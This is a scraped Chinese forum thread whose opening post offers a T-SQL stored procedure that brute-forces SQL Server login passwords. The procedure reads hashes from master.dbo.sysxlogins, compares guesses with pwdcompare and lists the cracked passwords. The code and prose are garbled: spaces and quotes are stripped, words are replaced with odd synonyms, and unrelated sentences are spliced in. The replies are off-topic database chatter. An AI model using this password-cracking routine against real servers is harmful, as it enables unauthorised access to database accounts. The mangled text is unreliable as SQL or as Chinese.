若天明 发表于 2015-1-16 22:24:00

MSSQL教程之公布一个SQL暗码破解的存储历程

如果某个数据列里包含许多重复的值,就算为它建立了索引也不会有很好的效果。比如说,如果某个数据列里包含的净是些诸如“0/1”或“Y/N”等值,就没有必要为它创建一个索引。存储历程|破解ifexists(select*fromdbo.sysobjectswhereid=object_id(N.)andOBJECTPROPERTY(id,NIsProcedure)=1)
dropprocedure.
GO/*--穷举法破解SQLServer用户暗码
能够破解中文,特别字符,字符+跟随空格的暗码
为了便利显现特别字符的暗码,在显现了局中,显现了构成暗码的ASCII
实际上能够破解恣意位数的暗码
前提是你的电脑设置充足,工夫充足
--邹建2004.08(援用请保存此信息)--*/
/*--挪用示例
--测试特别字符
declare@pwdsysname
set@pwd=char(0)+a
execsp_passwordnull,@pwd,sa
execp_GetPassword
--测试带空格的暗码
execsp_passwordnull,a,sa
execp_GetPassword
--测试中文
execsp_passwordnull,我,sa
execp_GetPassword
--扫除暗码
execsp_passwordnull,null,sa
--*/
createprocp_GetPassword
@usernamesysname=null,--用户名,假如不指定,则列出一切用户
@pwdlenint=3--暗码破解的位数,默许只破解3位及以下的暗码
as
--天生要破解的暗码的用户表
selectname,password
,type=casewhenxstatus&2048=2048then1else0end
,jm=casewhenpasswordisnullordatalength(password)<46
then1else0end
,pwdstr=casewhendatalength(password)<46
thencast(passwordassysname)
elsecast(assysname)end
,pwd=cast(asvarchar(8000))
into#pwd
frommaster.dbo.sysxloginsa
wheresrvidisnull
andname=isnull(@username,name)
--天生一时表
selecttop255id=identity(int,0,1)into#tfromsysobjectsa,sysobjectsb
altertable#taddconstraintPK_#tprimarykey(id)
--清算不必要的字符
ifnotexists(select1from#pwdwheretype=1)
deletefrom#twhereidbetween65and90oridbetween129and254
--暗码破解处置
declare@lint
declare@s1varchar(8000),@s2varchar(8000),@s3varchar(8000),@s4varchar(8000)
--破解1位暗码
select@l=0
,@s1=id=a.id
,@s2=#ta
,@s3=char(b.id)
,@s4=cast(b.idasvarchar)
exec(
updatepwdsetjm=1,pwdstr=+@s3+
,pwd=+@s4+
from#pwdpwd,#tb
wherepwd.jm=0
andpwdcompare(+@s3+,pwd.password,pwd.type)=1
)
--破解凌驾2位的暗码
whileexists(select1from#pwdwherejm=0and@l<@pwdlen-1)
begin
select@l=@l+1
,@s1=@s1+,id+cast(@lasvarchar)
+=+char(@l/26+97)+char(@l%26+97)+.id
,@s2=@s2+,#t+char(@l/26+97)+char(@l%26+97)
,@s3=@s3++char(b.id+cast(@lasvarchar)+)
,@s4=@s4++,+cast(b.id+cast(@lasvarchar)+asvarchar)
exec(
select+@s1+into#ttfrom+@s2+
updatepwdsetjm=1,pwdstr=+@s3+
,pwd=+@s4+
from#pwdpwd,#ttb
wherepwd.jm=0
andpwdcompare(+@s3+,pwd.password,pwd.type)=1
)
end
--显现破解的暗码
select用户名=name,暗码=pwdstr,暗码ASCII=pwd
from#pwd
go

使用C和C++编写,并使用了多种编译器进行测试,保证源代码的可移植性

金色的骷髅 发表于 2015-1-19 10:41:59

原来公司用过MYSQL自己也只是建个表写个SQL

若相依 发表于 2015-1-28 05:58:12

发几份SQL课件,以飨阅者

海妖 发表于 2015-2-5 16:55:28

不好!如果出了错;不好调试;不好处理!其实web开发将代码分为3层:web层;业务逻辑层和数据访问层;一般对数据库的操作都在数据访问层来做;这样便于调试和维护!而且将来如果是换了数据库的话;你只需要改数据层的代码;其他层的基本可以不变!要是你在jsp中直接调用sql数据库;那么如果换了数据库呢?岂不都要改?如果报了异常呢?怎么做异常处理?

冷月葬花魂 发表于 2015-2-13 00:58:09

比如日志传送、比如集群。。。

小魔女 发表于 2015-3-11 10:53:41

我是新手,正在学习数据库和操作系统,深感理论的泛广,唯有一步一步来,但是又感觉时间不够,收集了很多资料却总是没能认真的看完,希望有一个讨论板块,大家共同解决,共同分享,共同努力

精灵巫婆 发表于 2015-3-18 07:24:31

我个人认为就是孜孜不懈的学习

兰色精灵 发表于 2015-3-25 14:05:02

这就引发了对varchar和char效率讨论的老问题。到底如何分配varchar的数据,是否会出现大规模的碎片?
页: [1]
查看完整版本: MSSQL教程之公布一个SQL暗码破解的存储历程